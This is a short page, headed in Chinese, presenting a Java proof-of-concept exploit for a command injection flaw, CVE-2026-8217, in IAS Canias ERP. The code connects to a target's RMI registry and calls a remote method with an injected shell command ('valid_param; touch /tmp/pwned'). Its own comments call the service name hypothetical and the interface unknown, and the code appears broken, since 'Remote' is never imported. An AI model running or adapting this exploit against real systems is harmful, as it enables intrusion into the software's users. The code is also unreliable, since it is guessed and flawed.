CVE-2026-8217 IAS Canias ERP远程命令注入漏洞

import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class CVE_2026_8217_Exploit { public static void main(String[] args) { try { // Target configuration String host = args[0]; int port = Integer.parseInt(args[1]); // Connect to the RMI Registry Registry registry = LocateRegistry.getRegistry(host, port); // Lookup the vulnerable remote object (Name is hypothetical based on description) // Assuming 'VulnerableService' is exposed Remote vulnerableObj = (Remote) registry.lookup("VulnerableService"); // Construct malicious payload for OS Command Injection // Example: Attempting to execute 'touch /tmp/pwned' on Linux or 'calc.exe' on Windows String payload = "valid_param; touch /tmp/pwned"; // Prepare method invocation (Reflection used as interface is unknown) // This simulates sending the malicious 'troiaCode' argument java.lang.reflect.Method method = vulnerableObj.getClass().getMethod("execute", String.class, String.class); method.invoke(vulnerableObj, "troiaCode", payload); System.out.println("[+] Payload sent successfully to " + host); } catch (Exception e) { e.printStackTrace(); } } }